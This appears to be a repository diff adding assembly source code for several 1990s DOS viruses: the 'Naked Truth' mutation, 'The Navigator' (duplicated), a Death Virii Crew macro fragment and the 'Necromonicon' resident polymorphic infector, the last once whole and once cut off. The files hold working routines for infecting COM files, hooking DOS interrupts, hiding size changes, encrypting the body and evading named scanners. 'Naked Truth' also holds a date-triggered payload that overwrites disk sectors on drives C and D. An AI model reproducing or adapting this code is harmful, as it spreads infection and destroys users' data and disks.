; Change BP to start of
; virus code
; Restore original bytes to the infected program.
lea si,[bp+ORIG_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Copy 3 bytes
movsw
movsb
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.
lea dx,[bp+NEW_DTA] ; Point to new DTA area
call SET_DTA ; Go change it
; DOS Findfirst / Findnext services
FINDFIRST: mov ah,4eh ; DOS find first service
lea dx,[bp+COM_MASK] ; Search for any COM file
xor cx,cx ; Attribute mask
FINDNEXT: int 21h ; Call DOS to do it
jc QUIT ; Quit if there are errors
; or no more files
; Ok, if I am here, then I found a possible victim. Open the file and
; check it for previous infections.
mov ax,3d00h ; DOS Open file, read only
lea dx,[bp+NEW_DTA+30] ; Point to filename we found
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
; Check file for previous infection by checking for our presence at
; then end of the file.
mov ah,3fh ; DOS Read file
lea dx,[bp+ORIG_START] ; Save the original header
mov cx,3 ; Read 3 bytes
int 21h ; Call DOS to do it
mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it
mov ah,3eh ; Otherwise close file and
int 21h ; try to find another victim
mov ah,4fh ; DOS find next file
jmp short FINDNEXT ; Find another file
; Restore default DTA and pass control back to original program.
; Call any activation routines here.
QUIT: mov dx,80h ; Restore original DTA
call SET_DTA ; Go change it
retn ; End Virus and start original
; Program. Remember, DI holding
; 100h was pushed on the stack.
;*** Subroutine INFECT_COM ***
INFECT_COM:
; Reset the file attributes to normal so I can write to the file
mov ax,4301h ; DOS change file attr
xor cx,cx ; Zero attributes
lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
int 21h ; Call DOS to do it
; Calculate jump offset for header of victim so it will run virus first.
mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
sub ax,3 ; Subtract 3, size-jmp_code
mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
; Close the file and reopen it for read/write. BX still holds file handle.
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
mov ax,3d02h ; DOS open file, read/write
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
; Write the new header at the beginning of the file.
mov ah,40h ; DOS write to file
mov cx,3 ; Write 3 bytes
lea dx,[bp+HEADER] ; Point to the 3 bytes to write
int 21h ; Call DOS to do it
; Move to end of file so I can append the virus to it.
mov al,2 ; Select end of file
call FILE_PTR ; Go to end of file
; Append the virus to the end of the file.
mov ah,40h ; DOS write to file
mov cx,END_VIRUS-START_VIRUS ; Length of virus
lea dx,[bp+START_VIRUS] ; Start from beginning of virus
int 21h ; Call DOS to do it
; Restore the file's original timestamp and datestamp. These values were
; stored in the DTA by the Findfirst / Findnext services.
mov ax,5701h ; DOS set file date & time
mov cx,word ptr [bp+NEW_DTA+22] ; Set time
mov dx,word ptr [bp+NEW_DTA+24] ; Set date
int 21h ; Call DOS to do it
; Restore original file attributes.
mov ax,4301h ; DOS change file attr
mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
lea dx,[bp+NEW_DTA+30] ; Point to file name
int 21h ; Call DOS
; Lastly, close the file and go back to main program.
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
jmp QUIT ; We're done
;*** Subroutine SET_DTA ***
SET_DTA proc near
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it
retn ; Return
SET_DTA endp
;*** Subroutine FILE_PTR ***
FILE_PTR proc near
mov ah,42h ; DOS set read/write pointer
xor cx,cx ; Set offset move to zero
cwd ; Equivalent to xor dx,dx
int 21h ; Call DOS to do it
retn ; Return
FILE_PTR endp
; This area will hold all variables to be encrypted
COM_MASK db '*.com',0 ; COM file mask
ORIG_START db 0cdh,20h,0 ; Header for infected file
HEADER db 0e9h ; Jmp command for new header
START_VIRUS endp
END_VIRUS equ $ ; Mark end of virus code
; This data area is a scratch area and is not included in virus code.
JMP_OFFSET dw ? ; Jump offset for new header
NEW_DTA db 43 dup(?) ; New DTA location
end MAIN

View File

@ -0,0 +1,245 @@
; VirusName : Naked Truth
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 17/09/1993
;
; This is a mutation of the virus Born on the Fourth of July
; This was written by TBSI. Mcafee scan used to find it as the
; "ash" virus. But I changed on a few bytes, and he's now tricked.
; Dr Alan Salomon "string" where placed at the beginning
; of the code, but now he's cheated too..So...enjoy!
;
; This is a non-overwriting com infector, it is not resident.
; It checks which day it is, and if it is the 17:ten the
; virus will have a redeeming. A redeeming is very nice.
;
; This might not be the best mutation, but afterall, it
; cheats the most common virus scanners. This was born
; the seventeen of September 1993 (hate all date-names)
;
; Scan v108 can't find this, neither can S&S Toolkit 6.54,
; havn't tried with TBScan/F-Prot, but they will probably
; identify it as the "ash" virus.
;
; Regards : The Unforgiven / Immortal Riot
code segment word public 'code' ;
assume cs:code,ds:code ; I assume that too :)
org 100h ;
main proc;edure ; Old pascal coder ?
TITLE Naked Truth ;Mutation Name...
TOF: ;Top-Of-File
jmp short begin ;Skip over program
NOP ;Reserve 3rd byte
EOFMARK: db 26 ;Disable DOS's TYPE
DB 0 ; <- S&S Toolkit "String-Cheater".
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push BP onto stack
nextline: pop bp ;BP=location of Skip
sub bp,offset nextline ;BP=offset from 1st run
mov byte ptr [bp+offset infected],0
;Reset infection count
lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
mov cx,4 ;Lets copy 4 bytes
cld ;Read left-to-right
rep movsb ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return:
mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor ax,ax ;AX= 0
mov bx,ax ;BX= 0
mov cx,ax ;CX= 0
mov dx,ax ;DX= 0
mov si,ax ;SI= 0
mov di,ax ;DI= 0
mov sp,0FFFEh ;SP= 0
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],26 ;Already infected?
je nextfile ;Yep, try again
cmp byte ptr [bp+offset first_four],77 ;
je nextfile ;
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ax,0FD00h ;Longer than 63K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
int 21h ;Append the virus
mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
mov byte ptr [bp+offset check],26 ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at DX
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
jmp nextfile ;Any more?
NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
jae TheEnd ;Party over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je daycheck ;je daycheck
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Here instead of "JE" to theend here, jump to Daycheck, and if the day
; isn't the 17:ten, just continue to theend, but if it is, have phun...
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
lea dx,[bp+offset riot] ;dot-dot method..
; MOV DX,OFFSET RIOT ;shitty liner..
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh ;check for first com
jmp continue ;Start over in new dir
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; If you want to get a redeeming on some special month, just look at the
; call to daycheck at "nonleft" and the call to daycheck. Change the call
; to monthcheck, and "delete" the ";" on procedure monthcheck. But
; remember, that makes, the virus much less destructive, and by that time,
; all scanners has probably added a new scan-string on this one. Now it will
; go off the 17:th every month. Feel free to modify this date as much you
; want to.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä-ÄÄ-
; monthcheck: ; check what month it is..
; mov ah,2ah ;
; int 21h ; dos to your service..
; cmp dh,10 ; check if month 10..
; je daycheck ; if yes jump to day check
; jmp theend ; otherwise jump to theend.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
DAYCHECK: ; Check what day it is..
mov ah,2ah ;
int 21h ; Dos to your service..
cmp dl,17 ; Check if it's the forbidden night..
je redeeming ; If yes, have a great fuck..
jmp theend ; Otherwise jump to theend
REDEEMING: ; Havi'n such a great fuck..
cli ; Cleaning all interrupts..>
mov ah,2 ; Starting with drive C
cwd ; Starting it from 0
mov cx,0100h ; Continue to 256
int 026h ; Direct disk-write
jmp KARO ; Jump For Joy..(J4J)..
KARO: ; Yet another..
CLI ; No law-breakers here!
MOV AL,3 ; Set to fry drive D
MOV CX,700 ; Set to write 700 sectors
MOV DX,00 ; Starting at sector 0
MOV DS,[DI+99] ; Put random crap in DS
MOV BX,[DI+55] ; More crap in BX
CALL REDEEMING ; Start it all over..
TheEnd: jmp return ; Getting a gold medal ?
Immortal: db '*.COM',0 ;File Specification
Riot: db '..',0 ;'Dot-Dot'
MutationName: db " Naked Truth! "
Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
Copyleft: db ' The Unforgiven / Immortal Riot '
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; None of this information is included in the virus's code. It is only
; used during the search/infect routines and it is not necessary to pre-
; serve it in between calls to them.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
EOF: ;End Of File..
DTA: db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
infected db ? ;infection count
addr dw ? ;Address
main endp;rocedure
code ends;egment
end main
; Greets goes out to : Raver, Metal Militia, Scavenger
; and all other hi-tech assasins all over the world...

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,201 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* The Navigator *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 1992 Dark Helmet, The Netherlands *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* Special greetings to : *
;* Glenn Benton, XSTC for their nice source and viruses, *
;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the *
;* work, Guns and Roses for their great music, *
;* and al the other viruswriters... *
;* *
;* " Trust me...I know what I'm doing" *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Coming soon : The Anti-DAF Virus *
;* Civil War II *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
;* - PC Handboek voor programmeurs *
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
;* - Werken met Turbo Assembler *
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
;* *
;****************************************************************************
.Radix 16
Navigator Segment
Assume cs:Navigator, ds:Navigator,
org 100h
len equ offset last - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus
Virus: pop bp
sub bp,109h
mov dx,0fe00h
mov ah,1ah
int 21h
Restore_begin: mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp]
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h
int 21h
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp]
mov ah,03fh
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file
Close_file: mov bx,[handle+bp]
mov ah,3eh
int 21h
Next_file: mov ah,4fh
int 21h
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah]
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h
call move_pointer
Write_jump: mov ah,40h
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40
mov cx,02h
lea dx,[initials+bp]
int 21h
Write_virus: mov ax,4202h
call move_pointer
mov ah,40h
mov cx,len
lea dx,[begin+bp]
int 21h
restore_date: mov dx,[date+bp]
mov cx,[time+bp]
mov bx,[handle+bp]
mov ax,05701h
int 21h
exit: mov bx,0100h
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
msg db "The Navigator, (c) 1992 Dark Helmet",0
last db 090h
Navigator ends
end dummy
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;

View File

@ -0,0 +1,161 @@
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* The Navigator *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 1992 Dark Helmet, The Netherlands *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* Special greetings to : *
;* Glenn Benton, XSTC for their nice source and viruses, *
;* XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the *
;* work, Guns and Roses for their great music, *
;* and al the other viruswriters... *
;* *
;* " Trust me...I know what I'm doing" *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Coming soon : The Anti-DAF Virus *
;* Civil War II *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
;* - PC Handboek voor programmeurs *
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
;* - Werken met Turbo Assembler *
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
;* *
;****************************************************************************
.Radix 16
Navigator Segment
Assume cs:Navigator, ds:Navigator,
org 100h
len equ offset last - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus
Virus: pop bp
sub bp,109h
mov dx,0fe00h
mov ah,1ah
int 21h
Restore_begin: mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp]
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h
int 21h
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp]
mov ah,03fh
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file
Close_file: mov bx,[handle+bp]
mov ah,3eh
int 21h
Next_file: mov ah,4fh
int 21h
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah]
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h
call move_pointer
Write_jump: mov ah,40h
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40
mov cx,02h
lea dx,[initials+bp]
int 21h
Write_virus: mov ax,4202h
call move_pointer
mov ah,40h
mov cx,len
lea dx,[begin+bp]
int 21h
restore_date: mov dx,[date+bp]
mov cx,[time+bp]
mov bx,[handle+bp]
mov ax,05701h
int 21h
exit: mov bx,0100h
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
msg db "The Navigator, (c) 1992 Dark Helmet",0
last db 090h
Navigator ends
end dummy
;****************************************************************************;
;****************************************************************************;

View File

@ -0,0 +1,30 @@
;[Death Virii Crew] Presents
;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
brkem macro inter
db 0fh,0ffh,inter
endm brkem
retem macro
db 0edh,0fdh
endm retem
int86 macro oper8
db 0edh,0edh
db oper8
endm
int21h macro _ax,_cx,_dx
_lxi_b _ax
_push_b
_lxi_b _cx
_push_b
_lxi_b _dx
_push_b
int86 88h
endm
; (c) by Reminder [DVC]

View File

@ -0,0 +1,417 @@
;
; Necromonicon Virus by John Tardy
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,decr[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
push es
Mov Ax,351ch
Int 21h
Mov Word Ptr OldInt1c[0],Bx
Mov Word Ptr OldInt1c[2],Es
Mov Ax,251ch
Lea Dx,NewInt1c
Pop Ds
Int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
OldInt1c DD 0
NewInt1c: Pushf
Push Ds
Push Ax
Xor Ax,Ax
Push Ax
Pop Ds
Mov Ax,Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Cmp Ax,Word Ptr Ds:[46ch]
Ja EOI1C
Dec Word Ptr Ds:[46eh]
EOI1C: Pop Ax
Pop Ds
Popf
Iret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
mov cx,ax
iret
chkfunc: cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
cmp ah,6ch
je infectdos4
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
infectdos4: and dx,0fh
cmp dx,1
jne endi
mov dx,si
jmp infecthan
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doitj
endi: jmp endint
doitj: push dx
push ds
mov ax,4300h
call dos
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
call dos
mov ax,3d02h
call dos
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
call dos
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
call dos
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
call dos
sub ax,3
mov cs:jump[1],ax
Add Ax,Offset Crypt+103h
Mov S_1[1],Ax
Mov S_2[1],Ax
Mov S_3[4],Ax
Mov S_4[4],Ax
Call GenPoly
mov ah,40h
push cs
pop ds
lea dx,coder
mov cx,virlen
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,jump
mov cx,3
call dos
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
call dos
done: mov ah,3eh
call dos
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
call dos
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
GenPoly: Xor Byte Ptr [Loopje],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[4],Ax
Mov S_2[4],Ax
Mov S_3[1],Ax
Mov S_4[1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si]
Mov Si,Ax
Lea Di,decr
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr
Lea Di,Coder
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Lea Di,Coder
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:jump[1]
Add Ax,Encr0Len+2
Mov Cs:jump[1],Ax
Ret
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Db '[ '
Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
Db ' / Trident'
Db ' ]'
getdta: pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS
cmp al,0
jne Ret1
call getdta
cmp byte ptr es:[bx],-1
jne FCBOk
add bx,8
FCBOk: mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ch],Virlen
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
Db '| Trapped in a spell of the Necromonicon |'
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 20h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
ResLen Equ ($-Decr)/10h
ParLen Equ (Reslen*2)+10h
CryptLen Equ $-Crypt
VirLen Equ $-Decr
Coder Equ $

View File

@ -0,0 +1,417 @@
;
; Necromonicon Virus by John Tardy
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
